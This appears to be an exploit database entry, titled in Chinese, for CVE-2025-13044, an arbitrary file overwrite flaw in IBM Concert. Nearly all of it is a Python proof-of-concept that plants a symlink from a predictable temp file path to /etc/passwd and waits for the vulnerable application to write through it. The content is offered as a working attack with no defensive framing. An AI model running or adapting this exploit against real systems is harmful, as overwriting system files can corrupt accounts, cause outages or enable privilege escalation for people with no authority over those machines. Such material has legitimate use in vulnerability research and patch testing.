CVE-2025-13044 IBM Concert 任意文件覆盖漏洞

#!/usr/bin/env python3 import os import time # Configuration target_file = "/etc/passwd" # Target file to overwrite predictable_temp = "/tmp/concert_session.tmp" # Predictable temp file name print(f"[*] Attempting to create symlink: {predictable_temp} -> {target_file}") try: # Remove existing link/file if present to avoid errors if os.path.lexists(predictable_temp): os.remove(predictable_temp) # Create the symbolic link os.symlink(target_file, predictable_temp) print(f"[+] Symlink created successfully.") print("[*] Waiting for the vulnerable application to write to the temp file...") # In a real attack, this would wait for the specific trigger or loop time.sleep(10) print("[*] Check if the target file has been modified.") except Exception as e: print(f"[-] Error: {e}")